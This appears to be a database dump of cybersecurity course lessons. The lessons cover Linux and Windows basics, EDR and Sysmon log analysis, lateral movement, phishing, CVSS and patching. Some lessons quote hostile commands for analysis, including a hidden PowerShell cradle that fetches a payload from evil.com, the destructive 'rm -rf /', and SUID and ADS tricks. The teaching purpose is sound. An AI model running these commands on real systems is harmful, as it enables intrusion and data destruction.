(6, 6, '## Linux Navigation\n\nLinux powers 90% of the internet\'s servers, 100% of supercomputers, and most hacking tools. If you can\'t use the terminal, you can\'t do cyber.\n\n### The File System Hierarchy\nLinux does not have `C:`. It starts at Root `/`.\n*   `/` **(Root)**: The base.\n*   `/home`: User directories. (e.g., `/home/baris`). Equivalent to `C:Users`.\n*   `/etc`: Configuration files. (e.g., `/etc/passwd`).\n*   `/var`: Variable data (Logs live in `/var/log`).\n*   `/bin`: Binaries (Programs) like `ls`, `cat`.\n*   `/tmp`: Temporary files. Cleared on reboot.\n\n### Basic Commands\n1.  `pwd` (**Print Working Directory**): Where am I?\n    *   Output: `/home/kali`\n2.  `ls` (**List**): Show files.\n    *   `ls -l`: Long listing (Permissions, Size, Owner).\n    *   `ls -a`: All files (Including hidden files starting with `.`).\n    *   `ls -la`: Hidden + Long. (Muscle memory).\n3.  `cd` (**Change Directory**): Move.\n    *   `cd Downloads`: Go to Downloads.\n    *   `cd ..`: Go up one level.\n    *   `cd ~`: Go home.\n    *   `cd /`: Go to root.\n\n### Absolute vs Relative Paths\n*   **Absolute**: Full address. Always works.\n    *   `cd /var/log/apache2`\n*   **Relative**: Relative to where you are.\n    *   If you are in `/var`, you can type `cd log`.\n\n### Exercise\nOpen your terminal.\n1.  Type `pwd`.\n2.  Type `cd /etc`.\n3.  Type `ls`. Look for `passwd`.\n4.  Type `cd ..` to go back to root.', 'markdown', 3, '2025-12-26 02:06:45', '2025-12-29 13:58:57'),
(7, 7, '## Touching Files\n\nCreating, Moving, and Destroying files.\n\n### Creating\n1.  `touch file.txt`: Creates an empty file.\n2.  `mkdir foldername`: Creates a directory (Make Directory).\n3.  `echo \"Hello\" > file.txt`: Creates a file containing \"Hello\".\n\n### Reading\n1.  `cat file.txt`: Dumps the whole file to screen. Good for small files.\n2.  `less file.txt`: Opens a paginated viewer. Scroll with arrows. Quit with `q`. Good for huge logs.\n3.  `head file.txt`: Shows first 10 lines.\n4.  `tail file.txt`: Shows last 10 lines.\n    *   `tail -f /var/log/syslog`: **Follow**. Shows new lines as they are written in real-time. Crucial for debugging.\n\n### Moving & Renaming\nLinux uses `mv` for both.\n*   **Move**: `mv file.txt /tmp/` (Moves file to tmp).\n*   **Rename**: `mv file.txt newname.txt` (Moves file to same place with new name).\n\n### Copying\n*   `cp file.txt file_backup.txt`\n*   `cp -r folder/ folder_backup/` (Recursive copy for directories).\n\n### Deleting (The Dangerous Part)\n*   `rm file.txt`: Remove file. **There is no Recycle Bin**. It is gone.\n*   `rm -r folder/`: Remove directory.\n*   `rm -rf /`: **The Forbidden Command**. Recursively Force remove Root. Deletes the entire OS. Do not run this.\n\n### Hidden Files\nIn Linux, any file starting with `.` is hidden.\n*   `.bashrc`: Your shell configuration.\n*   `.ssh/`: Your keys.\nYou must use `ls -a` to see them.', 'markdown', 3, '2025-12-26 02:06:45', '2025-12-29 13:58:57'),
(8, 8, '## Linux Permissions\n\nLinux is a multi-user OS. Permissions decide who can Read, Write, or Execute.\n\n### The Output of `ls -l`\nExample: `-rwxr-xr-- 1 owner group size date file`\n\nThe first part `rwxr-xr--` tells the story.\nIt is split into 3 groups of 3 characters:\n1.  **User (Owner)**: `rwx` (Read, Write, Execute).\n2.  **Group**: `r-x` (Read, Execute. No Write).\n3.  **Others (World)**: `r--` (Read only).\n\n### The Modes\n*   **r (Read)**:\n    *   File: View contents.\n    *   Dir: List contents (`ls`).\n*   **w (Write)**:\n    *   File: Modify/Delete content.\n    *   Dir: Create/Delete files inside it.\n*   **x (Execute)**:\n    *   File: Run as a program/script.\n    *   Dir: Enter the directory (`cd`).\n\n### Changing Permissions (`chmod`)\nYou can use numbers (Octal) or letters.\n\n**The Numbers**:\n*   Read = 4\n*   Write = 2\n*   Execute = 1\n*   Total = 7\n\n**Common Sets**:\n*   `chmod 777 file`: Everyone can do everything. **Insecure**.\n*   `chmod 700 file`: Only I (User) can read/write/run. Private keys usually need this.\n*   `chmod 755 file`: I can do all. Everyone else can Read/Run. (Standard for scripts).\n*   `chmod +x file`: Quick way to make a script executable.\n\n### Changing Owner (`chown`)\n*   `chown user:group file`\n*   `chown root:root /etc/shadow`', 'markdown', 3, '2025-12-26 02:06:45', '2025-12-29 13:58:57'),
(9, 9, '## Finding Files\n\nYou hacked a server. You want to find \"passwords.txt\". How?\n\n### 1. `locate`\nThe fast, indexed search.\n*   `locate password.txt`\n*   **Pros**: Instant.\n*   **Cons**: Relies on a database (`updatedb`). If the file was made 1 minute ago, locate won\'t find it.\n\n### 2. `find`\nThe powerful, real-time crawler.\n*   Syntax: `find [where] [filters] [action]`\n\n**Examples**:\n*   `find / -name \"flag.txt\"`: Search whole drive for flag.txt.\n*   `find /home -name \"*.conf\"`: Search home for configs.\n*   `find / -type f -size +100M`: Find files larger than 100MB.\n*   `find / -perm -4000 2>/dev/null`: Find SUID files (Privilege Escalation gold).\n    *   `2>/dev/null` hides \"Permission Denied\" errors so you only see clean results.\n\n### 3. `which`\nFinds executable binaries in your PATH.\n*   `which python`: Shows `/usr/bin/python`.\n*   If `which` returns nothing, the tool is not installed or not in PATH.', 'markdown', 3, '2025-12-26 02:06:45', '2025-12-29 13:58:57'),
(10, 10, '## Grep (Global Regular Expression Print)\n\nGrep is the search tool for **content**. It finds text *inside* files.\n\n### Basic Usage\n*   `grep \"error\" /var/log/syslog`: Show me lines containing \"error\".\n*   `grep -i \"pass\" file.txt`: Case insensitive (finds \"Pass\", \"PASS\").\n*   `grep -r \"apikey\" /var/www/html/`: **Recursive**. Search every file in the website folder for \"apikey\".\n\n### Pipes (`|`)\nThe pipe takes the output of the Left command and feeds it to the Right command. It is the most powerful feature of Linux.\n\n*   `cat huge_log.txt | grep \"IP: 1.2.3.4\"`\n    *   1. Cat dumps the file.\n    *   2. Pipe catches it.\n    *   3. Grep filters it.\n*   `ls -la | grep \"Aug\"`: Show files modified in August.\n*   `history | grep \"ssh\"`: Search my command history for SSH connections.\n\n### Real World Scenario: Log Analysis\nYou are investigating a web server access log.\n1.  `cat access.log | grep \"404\"` (Find failures).\n2.  `cat access.log | grep \"admin.php\"` (Find attempts to access admin).\n3.  `cat access.log | awk \'{print $1}\' | sort | uniq -c | sort -nr`: (Count requests by IP address. The \"freq\" command stack).', 'markdown', 3, '2025-12-26 02:18:44', '2025-12-29 13:58:57'),
(11, 11, '## Process Management\n\nEvery program running is a **Process**. Each has a unique **PID** (Process ID).\n\n### Viewing Processes\n1.  `ps`: List my processes.\n2.  `ps aux`: List **ALL** processes from all users.\n    *   **a**: All users.\n    *   **u**: User/owner column.\n    *   **x**: Processes not attached to a terminal (Daemons).\n3.  `top`: Real-time task manager (CPU/RAM usage).\n    *   Press `q` to quit.\n\n### Killing Processes\nSometimes a program crashes or you need to stop a malicious script.\n*   `kill [PID]`\n    *   Example: `kill 1234` (Polite kill request. SIGTERM).\n*   `kill -9 [PID]`\n    *   **Force Kill**. (SIGKILL). The nuclear option. The kernel rips the process out of memory.\n\n### Backgrounding\n*   **Foreground**: `ping google.com` -> Takes over your terminal.\n*   **Background**: `ping google.com &` -> Runs in background. Terminal is free.\n*   **Ctrl+Z**: Pauses current process.\n*   `bg`: Resumes paused process in background.\n*   `fg`: Brings background process to foreground.\n\n### Services (`systemctl`)\nDaemons that start at boot (like Apace/Nginx).\n*   `systemctl status apache2`\n*   `systemctl start apache2`\n*   `systemctl stop apache2`\n*   `systemctl enable apache2` (Start on boot).', 'markdown', 3, '2025-12-26 02:18:44', '2025-12-29 13:58:57'),
(12, 12, '## Package Management\n\nInstalling software in Linux. We don\'t google \"download .exe\". We use Repositories (App Stores).\n\n### APT (Debian/Ubuntu/Kali)\n**Advanced Package Tool**.\n1.  `apt update`: Refreshes the list of available software. (Does NOT install updates).\n    *   *Analogy*: Checking the catalogue to see what is new.\n2.  `apt upgrade`: Actually installs the newer versions of installed packages.\n3.  `apt install [package]`: Installs a tool.\n    *   `apt install nmap`\n    *   `apt install python3`\n4.  `apt remove [package]`: Uninstalls.\n\n### Repositories\nYour OS looks in `/etc/apt/sources.list`.\nIf you try to install \"tool_xyz\" and it says \"Unable to locate package\", your sources.list might be missing the repository that contains it.\n\n### Other Managers\n*   **YUM / DNF**: Used by Red Hat / CentOS / Fedora.\n    *   `dnf install httpd`\n*   **Pacman**: Used by Arch Linux.\n    *   `pacman -S firefox`\n*   **Snap**: Universal packages.\n    *   `snap install discord`\n\n### Compile from Source (Github)\nSometimes a tool isn\'t in Apt. You must build it.\n1.  `git clone https://github.com/user/tool.git`\n2.  `cd tool`\n3.  Look for `README.md`!\n4.  Usually: `./configure`, `make`, `make install` OR `pip install -r requirements.txt` (Python).', 'markdown', 3, '2025-12-26 02:18:44', '2025-12-29 13:58:57'),
(350, 349, '# 🦅 Understanding EDR Telemetry\n\nEndpoint Detection and Response (EDR) tools provide a flight recorder for your endpoints. They capture everything a computer does.\n\n## 📝 The Raw Log\nBelow is a raw JSON log from an EDR agent (e.g., CrowdStrike/SentinelOne style).\n\n```json\n{\n  \"event_type\": \"ProcessRoleup2\",\n  \"timestamp\": \"2024-03-15T10:45:22Z\",\n  \"hostname\": \"FINANCE-PC-01\",\n  \"user_name\": \"CORP\\\\asmith\",\n  \"file_name\": \"powershell.exe\",\n  \"file_path\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n  \"command_line\": \"powershell.exe -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.ps1\')\"\",\n  \"parent_process\": \"winword.exe\",\n  \"parent_command_line\": \"\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\" C:\\\\Users\\\\asmith\\\\Downloads\\\\Invoice_UPDATED.docx\",\n  \"sha256\": \"9f9d5187af9e...\"\n}\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Analyze the Hierarchy (Parent-Child)\n* **Parent**: `winword.exe` (Microsoft Word)\n* **Child**: `powershell.exe`\n* **Analysis**: Word documents should **never** spawn PowerShell. This is a classic sign of a **Malicious Macro**.\n\n### Step 2: Decode the Command Line\n* `-nop`: NoProfile (Hides awareness from user).\n* `-w hidden`: WindowStyle Hidden (User sees nothing).\n* `IEX`: Invoke-Expression (Execute code).\n* `DownloadString`: Fetch code from the internet.\n\n### Step 3: Check the Context\n* **User**: `asmith` (Finance Dept).\n* **Document**: `Invoice_UPDATED.docx`.\n* **Conclusion**: User opened a phishing email with a weaponized invoice.\n', 'markdown', NULL, '2025-12-26 17:59:30', '2025-12-26 18:04:20'),
(351, 350, '# 🌳 Analyzing Process Trees\n\nVisualizing the chain of execution is critical.\n\n## 📝 The Raw Log\nA series of events joined by process ID (PID).\n\n```text\n[TIME: 14:00:01] PID: 1044 | svchost.exe (System Service)\n    └── [TIME: 14:00:05] PID: 2055 | cmd.exe /c \"whoami\"\n        └── [TIME: 14:00:06] PID: 3100 | conhost.exe\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Identify the Root\n* **Root**: `svchost.exe`. This is a generic Windows service host.\n* **Issue**: `svchost.exe` launching `cmd.exe` is highly suspicious. It usually points to a compromised service (like a vulnerability in SMB or a web server running as system).\n\n### Step 2: Check the Child Activity\n* **Command**: `whoami`.\n* **Context**: This is a \"Discovery\" command. Attackers run it immediately after getting shell access to see who they are (SYSTEM vs User).\n\n### Step 3: The \"Conhost\"\n* `conhost.exe` is normal when `cmd` runs. It handles the console window.\n\n### 🔴 Assessment\nThis looks like a **Reverse Shell** or **Remote Code Execution (RCE)** exploit.\n', 'markdown', NULL, '2025-12-26 17:59:30', '2025-12-26 18:04:20'),
(352, 351, '# 🦀 Detecting Lateral Movement\n\nAfter compromising one machine, attackers move sideways to find the Crown Jewels (Domain Controller).\n\n## 📝 The Raw Log (PsExec Event)\n\n```xml\n<Event xmlns=\'http://schemas.microsoft.com/win/2004/08/events/event\'>\n  <System>\n    <EventID>7045</EventID>\n    <Computer>HR-LAPTOP-04</Computer>\n  </System>\n  <EventData>\n    <Data Name=\'ServiceName\'>PSEXESVC</Data>\n    <Data Name=\'ImagePath\'>%SystemRoot%\\PSEXESVC.exe</Data>\n    <Data Name=\'ServiceType\'>user mode service</Data>\n    <Data Name=\'StartType\'>demand start</Data>\n    <Data Name=\'AccountName\'>LocalSystem</Data>\n  </EventData>\n</Event>\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Analyze Event 7045\n* **Event 7045**: A new service was installed.\n* **ServiceName**: `PSEXESVC`.\n* **Significance**: This is the default service name for **PsExec**, a tool often used by admins but LOVED by hackers for moving laterally.\n\n### Step 2: Contextualize\n* Did authorized IT staff deploy software at this time?\n* If NO, an attacker effectively \"remote controlled\" this machine from another infected host.\n\n### Step 3: Find the Source\n* Look for successful network logins (Event 4624, Type 3) occurring just before this event to find the **Patient Zero** IP.\n', 'markdown', NULL, '2025-12-26 17:59:30', '2025-12-26 18:04:20'),
(353, 352, '# 💉 Memory Injection Techniques\n\nFileless malware doesn\'t write to disk. It lives in RAM.\n\n## 📝 The Raw Log (Sysmon Event 8)\n\n```json\n{\n  \"event_id\": 8,\n  \"desc\": \"CreateRemoteThread\",\n  \"source_image\": \"C:\\Users\\Bob\\AppData\\Local\\Temp\\malware.exe\",\n  \"target_image\": \"C:\\Windows\\System32\\explorer.exe\",\n  \"target_process_id\": \"4022\",\n  \"start_address\": \"0xDEADBEEF\"\n}\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: The \"Injector\"\n* **Source**: `malware.exe` running from `Temp`.\n* **State**: This is the malicious dropper.\n\n### Step 2: The \"Victim\"\n* **Target**: `explorer.exe`. This is the Windows desktop/file manager. It is *always* running.\n* **Action**: `CreateRemoteThread`. The source is forcing the target to run code.\n\n### Step 3: The Result\n* Once injected, `malware.exe` can delete itself.\n* The malicious code now runs INSIDE `explorer.exe`.\n* **Implication**: You will see `explorer.exe` making network connections to Russia. If you kill `explorer`, you kill the user\'s desktop session.\n\n### 🛡️ Response\nDo not just kill the process. Isolate the host and run memory forensics.\n', 'markdown', NULL, '2025-12-26 17:59:30', '2025-12-26 18:04:20'),
(354, 353, '# 🛑 Isolating Infected Hosts\n\nTime is money. The faster you act, the less damage occurs.\n\n## 📝 The Response Log (Audit Trail)\n\n```json\n{\n  \"action\": \"ResponseAction\",\n  \"type\": \"NetworkContainment\",\n  \"status\": \"Success\",\n  \"target_host\": \"FINANCE-PC-01\",\n  \"initiator\": \"Analyst_Baris\",\n  \"timestamp\": \"2024-03-15T10:55:00Z\",\n  \"policy\": {\n    \"allow_dns\": false,\n    \"allow_edr_cloud\": true,\n    \"allow_all_else\": false\n  }\n}\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Verification\n* **Action**: `NetworkContainment`.\n* **Policy**: The log confirms that the host can ONLY talk to the EDR cloud (`allow_edr_cloud: true`). This is vital. You don\'t want to lose your own access!\n\n### Step 2: What happens next?\n* The attacker loses their C2 connection.\n* **Active shells die**.\n* **Data exfiltration stops**.\n* The user sees \"No Internet\".\n\n### Step 3: Remediation\n1. **Live Response**: Connect via EDR shell.\n2. **Collect Artifacts**: Get the `Invoice_UPDATED.docx` file.\n3. **Re-image**: Wipe the machine. Better safe than sorry.\n', 'markdown', NULL, '2025-12-26 17:59:30', '2025-12-26 18:04:20'),
(360, 359, '# 🔎 Writing SPL\n\nSearch Processing Language (SPL) is the standard for querying big data in Splunk.\n\n## 📝 The Scenario\nYour boss says \"Find all failed logins from China in the last 24 hours.\"\n\n## 📝 The Raw Query (SPL)\n\n```splunk\nindex=main sourcetype=wineventlog:security EventCode=4625 \n| iplocation SourceNetworkAddress \n| search Country=\"China\"\n| stats count by SourceNetworkAddress, User\n| sort - count\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Filter Phase\n* `index=main`: Search only the main storage.\n* `EventCode=4625`: Windows Failed Identity.\n\n### Step 2: Enrichment\n* `iplocation`: Splunk automatically adds `Country`, `City`, `Lat`, `Lon` based on the IP address.\n\n### Step 3: Aggregation\n* `stats count by...`: Instead of showing 10,000 individual log lines, show me a table.\n* **Row 1**: IP `1.2.3.4`, User `Admin`, Count `500`.\n* **Conclusion**: We are under a brute force attack.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(361, 360, '# 🔗 Correlating Events\n\nA single log is a dot. Correlation connects the dots to make a picture.\n\n## 📝 The Raw Logs (Sequence)\n\n```text\n[09:00:01] Failed Login (User: Bob, IP: 10.0.0.50)\n[09:00:02] Failed Login (User: Bob, IP: 10.0.0.50)\n[09:00:03] Failed Login (User: Bob, IP: 10.0.0.50)\n... (50 more times)\n[09:01:00] Successful Login (User: Bob, IP: 10.0.0.50)\n[09:01:05] User Created (User: Admin2, By: Bob)\n```\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Brute Force\n* The first block is a classic brute force attack.\n\n### Step 2: The Breakthrough\n* `[09:01:00]`: The attack succeeded. They guessed the password.\n\n### Step 3: Persistence\n* `[09:01:05]`: The very first thing the attacker did was create a BACKDOOR user (`Admin2`).\n* **Why**: Even if Bob changes his password, the attacker can still login as Admin2.\n\n### Step 4: The Correlation Rule\n* `Trigger Alert IF (Failed_Login > 10 in 5 mins) FOLLOWED BY (Successful_Login)`.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(368, 367, '# 🎣 Phishing Types\n\n## 📝 The Scenario\n**Email 1**: \"Dear Customer, your Netflix is expired. Click here.\"\n**Email 2**: \"Hi Bob, I enjoyed our meeting about Project X in London. Please review the attached contract.\"\n\n## 🕵️‍♂️ Investigation Steps\n\n### Analysis of Email 1 (Bulk Phishing)\n* **Greeting**: Generic (\"Dear Customer\").\n* **Urgency**: High (\"Expired\").\n* **Targeting**: None. Sent to millions.\n\n### Analysis of Email 2 (Spear Phishing)\n* **Greeting**: Personalized (\"Hi Bob\").\n* **Context**: specific (\"Project X\", \"London\").\n* **Source**: The attacker likely researched Bob on LinkedIn.\n* **Danger**: Extremely high. Users trust context.\n\n### 🛡️ Defense\nFor Spear Phishing, you rely on **User Awareness Training**. Technology often misses the context, but a human might spot that \"Project X\" was cancelled last week.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(369, 368, '# 🔗 URL Analysis\n\n## 📝 The Raw Link\n`http://www.paypal.com.secure-login-updates.xyz/login.php`\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: The Root Domain\n* **Reading**: Read from Right to Left.\n* **TLD**: `.xyz` (Cheap, often malicious).\n* **Domain**: `secure-login-updates.xyz`.\n* **Subdomains**: `www.paypal.com`.\n\n### Step 2: Homoglyphs\n* Look closely at: `pаypal.com`.\n* The \'a\' might be a Cyrillic character (IDN Homograph Attack). Use a \"Punycode Converter\" to check.\n* Real: `paypal.com`.\n* Fake: `xn--pypal-4ve.com`.\n\n### Step 3: Sandboxing\n* Paste the URL into **UrlScan.io**.\n* Look at the screenshot. Does it look like the real PayPal login page?\n* If yes, it is a credential harvester.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(370, 369, '# 💯 CVSS Scoring System\n\nUnderstanding the Common Vulnerability Scoring System (v3.1).\n\n## 📝 The Raw Vector\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n## 🕵️‍♂️ Investigation Steps\n\n### Step 1: Attack Vector (AV)\n* **AV:N (Network)**: The vulnerability can be exploited remotely over the internet. (BAD)\n* **AV:P (Physical)**: You need to touch the device (USB). (Less critical).\n\n### Step 2: Complexity & Privileges\n* **AC:L (Low Complexity)**: A script kiddie can do it.\n* **PR:N (None)**: No login required.\n* **UI:N (None)**: No user interaction required.\n\n### Step 3: CIA Impact\n* **C:H (Confidentiality High)**: They steal all data.\n* **I:H (Integrity High)**: They change all data.\n* **A:H (Availability High)**: They delete everything.\n\n### Score\n* **9.8 CRITICAL**. Drop everything and patch this.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(371, 370, '# 🏥 Prioritizing Patches\n\nYou have 10,000 vulnerabilities. You can patch 50. Which ones?\n\n## 📝 The Scenario\n1. **Server A**: Internal Test Server. Vulnerability: Score 10.0 (RCE).\n2. **Server B**: External Web Server. Vulnerability: Score 7.5 (SQLi).\n\n## 🕵️‍♂️ Decision Steps\n\n### Step 1: Exposure\n* **Server B** is reachable from the internet. Attackers are scanning it 24/7.\n* **Server A** is behind a firewall. Attackers need to be inside first.\n\n### Step 2: Exploitability\n* Is there a Metasploit module for the SQLi? Yes.\n* Is the RCE theoretical? Yes.\n\n### Step 3: Business Impact\n* If Web Server goes down, we lose money.\n* If Test Server goes down, devs preserve coffee.\n\n### 🏆 Verdict\n**Patch Server B first**. Context matters more than raw score.\n', 'markdown', NULL, '2025-12-26 17:59:31', '2025-12-26 18:05:37'),
(391, 32, '## Windows File System\n\nUnlike Linux (start at `/`), Windows starts at a Drive Letter, usually `C:`.\n\n### Key Directories\n1.  `C:Windows`: The OS core.\n    *   `System32`: Critical DLLs and Executables. (Note: On 64-bit systems, System32 contains 64-bit files. `SysWOW64` contains 32-bit files. Confusing, but legacy.)\n2.  `C:Users`: User profiles.\n    *   `C:UsersBobDesktop`, `Downloads`, etc.\n    *   `AppData`: Hidden folder storing app settings (Chrome history, Discord cache). Great for forensics.\n3.  `C:Program Files`: Where 64-bit apps live.\n4.  `C:Program Files (x86)`: Where 32-bit apps live.\n5.  `C:PerfLogs`: Performance logs. Often empty, but sometimes writable by everyone (PrivEsc vector!).\n\n### ADS (Alternate Data Streams)\nA hidden feature of NTFS. A file can have \"sub-files\" hidden behind it.\n*   `echo \"Hidden Data\" > innocent.txt:secret.txt`\n*   `innocent.txt` looks normal. 0 bytes change.\n*   Hackers use ADS to hide malware inside benign files.\n*   **Detection**: `dir /R` shows streams.\n\n### Permissions (ICACLS)\nWindows uses ACLs (Access Control Lists).\n*   **Full Control**: God mode.\n*   **Modify**: Read/Write/Delete.\n*   **Read & Execute**: Run programs.\n*   **tool**: `icacls file.txt` (View permissions).', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(392, 33, '## User Account Control (UAC)\n\nIntroduced in Vista, UAC is the \"Dimmed Screen\" popup asking \"Do you want to allow this app to make changes?\".\n\n### The Concept\nEven if you are an Administrator, you run with \"Standard\" tokens most of the time. When you need to do a privileged action (like installing software), UAC pauses and asks for the \"Administrator\" token.\n*   **Integrity Levels**:\n    *   **System**: Kernel level. Highest.\n    *   **High**: Administrators (Elevated).\n    *   **Medium**: Standard Users (and Admin non-elevated).\n    *   **Low**: Sandboxed apps (Browser tabs).\n\n### UAC Bypass\nA common hacking technique. Malware tries to assume the High Integrity token without triggering the popup.\n*   **Fodhelper Exploit**: A built-in Windows binary that auto-elevates. Malware hijacks its registry keys to execute code as Admin silently.\n\n### Security Boundaries\nMicrosoft says UAC is **not** a security boundary. It is a convenience feature. If you are already Admin, UAC won\'t stop a sophisticated script.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(393, 34, '## The Windows Registry\n\nThe Registry is a massive hierarchical database storing ALL configuration settings.\n*   Tool: `regedit.exe`.\n\n### The 5 Hives (Root Keys)\n1.  **HKLM (HKEY_LOCAL_MACHINE)**: Settings for the computer (regardless of who is logged in).\n    *   `HKLMSoftware`: Installed programs.\n    *   `HKLMSystem`: Drivers, Services, Boot config.\n2.  **HKCU (HKEY_CURRENT_USER)**: Settings for YOU.\n    *   Wallpaper, theme, saved passwords.\n    *   Actually points to `HKUSID`.\n3.  **HKCR (Classes Root)**: File associations (open .pdf with Acrobat).\n4.  **HKU (Users)**: Stores profiles for all users.\n5.  **HKCC (Current Config)**: Hardware profile.\n\n### Persistence in Registry\nHackers love the registry because you can tell Windows to run malware at boot.\n*   **Run Keys**: `HKLMSoftwareMicrosoftWindowsCurrentVersionRun`. Anything here starts when ANY user logs in.\n*   **RunOnce**: Starts once then deletes itself.\n*   **Services**: `HKLMSystemCurrentControlSetServices`.\n\n### Forensics Value\n*   **ShimCache / AmCache**: Evidence of program execution (even if deleted).\n*   **shellbags**: Evidence of which folders were opened.\n*   **USBSTOR**: History of every USB drive ever plugged in.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(394, 35, '## Active Directory (AD)\n\nIf you work in a corporate environment, you use AD. It allows centralized management of users and computers.\n*   **Domain Controller (DC)**: The server running AD (usually Windows Server). It holds the database (`ntds.dit`).\n\n### Core Concepts\n1.  **Domain**: A security boundary. e.g., `corp.local`.\n2.  **Object**: Anything in the domain (User, Computer, Printer, Group).\n3.  **OU (Organizational Unit)**: Folders to organize objects (Sales, HR, IT). You apply policies (GPO) to OUs.\n4.  **Forest**: A collection of Domain Trees. The top level container.\n\n### Authentication: Kerberos vs NTLM\n*   **NTLM**: The old, challenge-response protocol. Vulnerable to \"Pass the Hash\".\n*   **Kerberos**: The standard. Uses \"Tickets\".\n    *   **TGT (Ticket Granting Ticket)**: Proof you are essentially authenticated.\n    *   **TGS (Ticket Granting Service)**: Proof you can access a specific service (like a File Share).\n    *   **Attacks**: Golden Ticket (Forging TGTs), Kerberoasting (Stealing Service Account hashes).\n\n### BloodHound\nA tool used by both Red and Blue teams to visualize AD relationships. It finds \"Attack Paths\" (e.g., User A is Admin on Computer B, where Admin C is logged in...).', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(395, 36, '## PowerShell\n\nThe most powerful tool in Windows. It is an Object-Oriented shell.\n(`cmd.exe` is text-based. `powershell.exe` handles Objects).\n\n### Cmdlets (Command-lets)\nThey follow `Verb-Noun` syntax.\n*   `Get-Process`: List processes.\n*   `Stop-Service`: Stop a service.\n*   `New-Item`: Create a file.\n\n### Aliases\nShortcuts for Linux users.\n*   `ls` -> `Get-ChildItem`\n*   `cat` -> `Get-Content`\n*   `wget` -> `Invoke-WebRequest`\n\n### The Pipeline `|`\nPasses objects.\n*   `Get-Process | Sort-Object CPU -Descending | Select-Object -First 5`\n    *   Get all processes.\n    *   Sort them by CPU usage.\n    *   Show only top 5.\n\n### PowerShell for Hackers\n*   **Fileless Malware**: Running a script strictly in memory (RAM). No file touches the disk, so Antivirus often misses it.\n*   **Execution Policy**: A safety feature, not security.\n    *   `Set-ExecutionPolicy Bypass`: Ignores the restrictions.\n*   **Logging**: Script Block Logging (Event 4104) is the only way to catch malicious PowerShell.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(396, 37, '## Windows Event Logs\n\nThe \"Black Box\" of Windows. Stored in `.evtx` format.\nViewer: `Event Viewer` (`eventvwr.msc`).\n\n### Main Logs\n1.  **Security**: Logins, Privilege use. (Most important for us).\n2.  **System**: Drivers, Service crashes, Reboot.\n3.  **Application**: App crashes (SQL Server logs, etc).\n\n### Critical Event IDs to Memorize\nIf you are a SOC Analyst, tattoo these on your arm.\n\n*   **4624**: Successful Logon.\n    *   Look at **Logon Type**:\n        *   Type 2: Interactive (Keyboard/Local).\n        *   Type 3: Network (SMB/Shared Folder).\n        *   Type 10: RDP (Remote Desktop).\n*   **4625**: Failed Logon. (Brute force indicator).\n*   **4720**: User Created. (Did a hacker add a backdoor user?).\n*   **4672**: Special Privileges Assigned. (Admin logon).\n*   **1102**: Audit Log Cleared. (Hacker trying to cover tracks. HUGE RED FLAG).\n*   **7045**: Service Installed (System Log). (Persistence mechanism).\n\n### Sysmon (System Monitor)\nDefault Windows logs are okay. **Sysmon** (from Sysinternals) is amazing. It logs process creation, network connections, and DNS Lookups.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(397, 38, '## Group Policy (GPO)\n\nGroup Policy Objects allows Admins to push settings to thousands of computers at once.\n*   \"Disable Control Panel for all HR employees.\"\n*   \"Set the wallpaper to company logo.\"\n*   \"Install Chrome on all computers.\"\n\n### Structure\n*   **Computer Configuration**: Applies to the machine (starts at boot).\n*   **User Configuration**: Applies to the user (starts at login).\n\n### The Refresh\nGPO is not instant.\n*   `gpupdate /force`: Command to force a sync with the DC.\n*   Refreshes every 90 minutes by default.\n\n### Abuse\nIf a hacker compromises a Domain Admin account, they can create a malicious GPO to deploy Ransomware to every PC in the company instantly. This is how massive breaches happen.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
(398, 39, '## Windows Security Tools\n\nBuilt-in and Sysinternals tools you should know.\n\n### Native Tools\n*   **Task Manager**: Identify resource hogs.\n*   **Resource Monitor**: Detailed network/disk view.\n*   **Windows Defender Firewall**: Controls Inbound/Outbound traffic.\n*   **BitLocker**: Full Disk Encryption. Protects data if laptop is stolen.\n\n### Sysinternals Suite\nA set of free tools active maintained by Mark Russinovich (Azure CTO).\n1.  **Process Explorer**: \"Task Manager on steroids\". Shows DLLs loaded, handles open, and verify file signatures (detect malware pretending to be Microsoft).\n2.  **Process Monitor (ProcMon)**: Real-time logs of File System, Registry, and Network activity.\n    *   *Use*: Run malware, watch ProcMon to see what files it creates.\n3.  **Autoruns**: Shows EVERYTHING that starts at boot. (Registry run keys, Scheduled Tasks, Services, Drivers). Best tool for finding persistence.\n4.  **TCPView**: Real-time view of open ports and connections.', 'markdown', 7, '2025-12-26 20:49:49', '2025-12-29 13:59:51'),
